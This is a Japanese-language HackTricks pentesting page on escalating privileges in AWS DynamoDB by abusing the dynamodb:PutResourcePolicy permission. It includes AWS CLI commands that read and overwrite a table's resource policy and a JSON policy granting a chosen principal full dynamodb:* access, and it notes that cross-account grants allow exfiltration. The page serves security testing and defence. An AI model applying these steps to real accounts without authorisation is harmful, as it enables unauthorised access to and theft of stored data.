Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc

AWS - DynamoDB Privesc

{{#include ../../../../banners/hacktricks-training.md}}

dynamodb

dynamodb の詳細は以下を参照してください:

{{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}}

dynamodb:PutResourcePolicy、必要に応じて dynamodb:GetResourcePolicy

2024年3月以降、AWSはDynamoDB向けにresource based policiesを提供しています(AWS News)。

つまり、テーブルに対して dynamodb:PutResourcePolicy を持っていれば、自分自身や他の任意のプリンシパルにテーブルへのフルアクセスを付与できます。

ランダムなプリンシパルに dynamodb:PutResourcePolicy を付与してしまうのはしばしば誤って起こります。管理者が dynamodb:Put* を付与するとそのプリンシパルはデータベースにアイテムをputするだけだと考えたり、あるいは2024年3月以前にその権限セットを付与していた場合などです...

理想的には、dynamodb:GetResourcePolicy も持っていると、他の重要な権限を上書きせずに、必要な追加権限だけを挿入できます:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

現在のポリシーを取得できない場合は、プリンシパルに対してテーブルへの完全なアクセスを許可する以下のポリシーを使用してください:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

カスタマイズが必要な場合、可能なすべての DynamoDB アクションの一覧はこちら: AWS Documentation。また、resource based policy を介して許可できるすべてのアクションと AND which of these can be used cross-account (think data exfiltration!) の一覧はこちら: AWS Documentation

policy document policy.json が準備できたら、resource policy を設定します:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

これで必要な権限が揃っているはずです。

Post Exploitation

私の知る限り、AWSのdynamodbに対するいくつかの権限を持っているだけで特権を直接昇格させる他の方法はありません。テーブルから機密情報を読み取ることそれにはAWSの認証情報が含まれている可能性がありますやテーブルに情報を書き込むことlambda code injections... のような他の脆弱性を引き起こす可能性があります)は可能ですが、これらのオプションはすべて既にDynamoDB Post Exploitation pageで検討されています:

{{#ref}} ../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md {{#endref}}

TODO: data Streams を悪用してデータを読み取る

{{#include ../../../../banners/hacktricks-training.md}}